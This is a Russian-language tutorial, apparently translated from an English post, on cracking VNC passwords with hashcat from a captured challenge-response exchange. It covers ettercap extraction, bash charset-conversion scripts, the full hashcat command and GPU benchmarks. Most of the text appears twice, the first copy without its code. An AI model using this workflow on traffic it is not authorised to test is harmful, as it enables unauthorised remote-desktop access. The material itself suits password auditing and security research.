Данная статья является переводом поста «VNC challenge response password crack», который написал AJB. Пост интереснейший во всех смыслах: во-первых, как справедливо отмечают авторы, не существует готового решения для взлома VNC пароля в hashcat; во-вторых, любопытен сам процесс проведённого исследования.
Возникла задача, используя hashcat взломать пароль из записанного трафика VNC сессии (содержащей challenge и response), но не удалось найти полное руководство, как это сделать. Поэтому было проделано следующее исследование.
Во время аутентификации клиента на сервере VNC, сервер отправляет Authentication challenge, а клиент в ответ отправляет Authentication response.
Пример Authentication challenge (894443629f4a9675809cff5da2e84651):
Пример Authentication response (271d94eb610b5c42588dc53506419e6a):
Было изучено, как работает аутентификация ответа на вызов VNC, и вот что мы поняли:
Проблема в том, что VNC не использует пароль, заданный пользователем, как есть, но сначала выполняет преобразование:
Таким образом, действительный пароль пользователя VNC, используемый для шифрования: 8c4ccc2cac6cec1c (12345678 в ASCII)
John The Ripper реализовал это в версии 1.9.0 Jumbo-1.
Чтобы взломать пароли VNC с помощью hashcat, мы реализовали это преобразование с помощью небольшого bash-скрипта для создания модифицированной кодировки символов ascii.
Создайте файл toHexVNC.sh:
И сохраните в него:
Запускать так:
Например, чтобы конвертировать все цифры:
Взлом VNC пароля в Hashcat
Теперь мы можем взломать его с помощью hashcat, используя:
Вывод:
Из этого вывода нас интересуют:
Не забываем, что ответ идёт ПЕРВЫМ, а затем только вызов, то есть:
Сохраняем этот хеш в файл toCrack.txt.
Теперь нам нужно определиться, какие символы будут использоваться для генерации кандидатов в пароли. Полный список Ascii такой:
Для использования всех 95 ascii символов, трансформированных для VNC, создайте файл VNC_allascii.charset и скопируйте в него:
Если вы хотите использовать для генерации паролей только большие и маленькие буквы, а также цифры:
Если генерировать пароли только из маленьких букв:
Думаю, суть вы уловили.
Я же буду использовать для генерации кандидатов в пароли только цифры:
ОЧЕНЬ ВАЖНО: на это не обращают внимание оригинальные исследователи, но даже полный список конвертированных ASCII символов не подберёт VNC пароли, которые короче 8 символов. В принципе, это может показаться логичным — DES шифрование требует пароль не менее 8 символов в длину. Но VNC принимает более короткие символы, заполняя недостающие символы нулевым байтом. То есть после создания файла VNC_ascii.charset откройте его и обязательно впишите туда два дополнительных нуля если вы допускаете, что мог быть установлен пароль короче 8 символов (это вполне возможно!).
Наконец, составляем команду hashcat для брут-форса VNC пароля:
Пароль взломан:
Взломанный пароль будет шестнадцатеричным значением, и его нужно будет снова конвертировать, чтобы найти пароль (в ASCII). Для этого также написана функция, чтобы её использовать, создайте файл toAscii.sh:
И скопируйте в него:
Запускать так:
Для конвертации взломанного только что пароля:
Получено: 222222 (в качестве пароля использовалось шесть двоек).
Некоторые тесты (бенчмарки):
Использование 2x NVIDIA Quadro P4000 8GB
Автор Alexey
взято с hackware
Возникла задача, используя hashcat взломать пароль из записанного трафика VNC сессии (содержащей challenge и response), но не удалось найти полное руководство, как это сделать. Поэтому было проделано следующее исследование.
Во время аутентификации клиента на сервере VNC, сервер отправляет Authentication challenge, а клиент в ответ отправляет Authentication response.
Пример Authentication challenge (894443629f4a9675809cff5da2e84651):
Пример Authentication response (271d94eb610b5c42588dc53506419e6a):
Было изучено, как работает аутентификация ответа на вызов VNC, и вот что мы поняли:
- Клиент инициирует соединение с сервером.
- Сервер отправляет уникальный/случайный 16-байтовый вызов клиенту.
- Клиент использует DES для шифрования (один раунд) вызов с помощью входного пароля и отправляет ответ.
- Сервер получает ответ и использует ту же схему шифрования для сравнения результатов.
- Соединение устанавливается если оба значения совпадают.
Проблема в том, что VNC не использует пароль, заданный пользователем, как есть, но сначала выполняет преобразование:
- биты каждого байта соответствующего значения ascii инвертируются (записываются задом наперёд):
Код:
Пароль : 12345678
Значение Ascii (HEX) : 31 32 33 34 35 36 37 38
Двоичное значение: 00110001 00110010 00110011 ....
Двоичное инвертированное значение: 10001100 01001100 11001100 ....
Инвертированное шестнадцатеричное значение: 8c 4c cc 2c ac 6c ec 1c
Таким образом, действительный пароль пользователя VNC, используемый для шифрования: 8c4ccc2cac6cec1c (12345678 в ASCII)
John The Ripper реализовал это в версии 1.9.0 Jumbo-1.
Чтобы взломать пароли VNC с помощью hashcat, мы реализовали это преобразование с помощью небольшого bash-скрипта для создания модифицированной кодировки символов ascii.
Создайте файл toHexVNC.sh:
Код:
gedit toHexVNC.sh
Код:
toHexVNC(){
for ((i=0;i<${#1};i++));
do
ascii2binrev=`echo "${1:$i:1}" | perl -lpe '$_=unpack"B*",$_' | rev`
binrev2hex+=`printf "%02x\n" "$((2#$ascii2binrev))"`
done
echo $binrev2hex
}
toHexVNC $1
Код:
bash toHexVNC.sh СТРОКА
Код:
bash toHexVNC.sh 0123456789
Взлом VNC пароля в Hashcat
Теперь мы можем взломать его с помощью hashcat, используя:
- атаку 3 (атака по маске)
- тип хеша 14000 (DES)
- формат хэша: <шифр>:<открытый текст> (в VNC это будет: <response>:<challenge>, но НЕ <challenge>:<response>)
- при этом response и challenge должны быть усечены до длины 8 байтов (не нужно тратить ресурсы на все 16 байтов, и в любом случае hashcat принимает только 8 байтов шифра/открытого текста).
- обратную кодировку и опцию --hex-charset
Код:
ettercap -Tq -r VNC.pcapng
Код:
ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team
Reading from VNC.pcapng
Libnet failed IPv4 initialization. Don't send IPv4 packets.
Libnet failed IPv6 initialization. Don't send IPv6 packets.
34 plugins
42 protocol dissectors
57 ports monitored
24609 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Starting Unified sniffing...
192.168.0.101-5900:$vnc$*894443629f4a9675809cff5da2e84651*271d94eb610b5c42588dc53506419e6a
VNC : 192.168.0.101:5900 -> Challenge:894443629f4a9675809cff5da2e84651 Response:271d94eb610b5c42588dc53506419e6a
Из этого вывода нас интересуют:
- Challenge:894443629f4a9675809cff5da2e84651
- Response:271d94eb610b5c42588dc53506419e6a
Код:
echo 894443629f4a9675809cff5da2e84651 | cut -c 1-16
894443629f4a9675
echo 271d94eb610b5c42588dc53506419e6a | cut -c 1-16
271d94eb610b5c42
Код:
271d94eb610b5c42:894443629f4a9675
Сохраняем этот хеш в файл toCrack.txt.
Теперь нам нужно определиться, какие символы будут использоваться для генерации кандидатов в пароли. Полный список Ascii такой:
Код с оформлением (BB-коды):
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$%*^-+_=~[]{}:;<>,.?/\")('&` |
Код:
8646c626a666e6169656d636b676f60e8e4ece2eae6eee1e9e5e8242c222a262e2129252d232b272f20a8a4aca2aaa6aea1a9a5a0c8c4ccc2cac6cec1c9c840224a4547ab4d4fabc7edabadebe5cdc3c7c3474fcf43a449414e46406043e00
Если вы хотите использовать для генерации паролей только большие и маленькие буквы, а также цифры:
Код:
bash toHexVNC.sh abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 > VNC_ascii.charset
Код:
bash toHexVNC.sh abcdefghijklmnopqrstuvwxyz > VNC_ascii.charset
Я же буду использовать для генерации кандидатов в пароли только цифры:
Код:
bash toHexVNC.sh 0123456789 > VNC_ascii.charset
ОЧЕНЬ ВАЖНО: на это не обращают внимание оригинальные исследователи, но даже полный список конвертированных ASCII символов не подберёт VNC пароли, которые короче 8 символов. В принципе, это может показаться логичным — DES шифрование требует пароль не менее 8 символов в длину. Но VNC принимает более короткие символы, заполняя недостающие символы нулевым байтом. То есть после создания файла VNC_ascii.charset откройте его и обязательно впишите туда два дополнительных нуля если вы допускаете, что мог быть установлен пароль короче 8 символов (это вполне возможно!).
Наконец, составляем команду hashcat для брут-форса VNC пароля:
Код:
hashcat -a 3 -m 14000 -1 VNC_ascii.charset --hex-charset --force -D 1,2 --hwmon-temp-abort 100 toCrack.txt ?1?1?1?1?1?1?1?1
Код:
271d94eb610b5c42:894443629f4a9675:$HEX[4c4c4c4c4c4c0000]
Взломанный пароль будет шестнадцатеричным значением, и его нужно будет снова конвертировать, чтобы найти пароль (в ASCII). Для этого также написана функция, чтобы её использовать, создайте файл toAscii.sh:
Код:
gedit toAscii.sh
Код:
toAscii(){
for ((i=0;i<${#1};i+=2));
do
hex2binary=`perl -e 'printf "%08b\n", 0x'"${1:$i:2}"'' | rev`
ascii2binrev+=`echo $hex2binary | perl -lpe '$_=pack"B*",$_'`
done
echo $ascii2binrev
}
toAscii $1
Код:
bash toAscii.sh СТРОКА
Код:
bash toAscii.sh 4c4c4c4c4c4c0000
Получено: 222222 (в качестве пароля использовалось шесть двоек).
Некоторые тесты (бенчмарки):
Использование 2x NVIDIA Quadro P4000 8GB
- пароль в 8 символов длинною из маленьких букв -> макс. ~ 2 мин
- пароль в 8 символов длинною из больших и маленьких букв, а также цифр -> макс. ~ 2.2 часа
- пароль в 8 символов длинною из больших и маленьких букв, а также цифр и пробела -> макс. ~ 2.5 часа
- пароль в 8 символов из всех символов ascii -> макс. ~ 3 дня
Автор Alexey
взято с hackware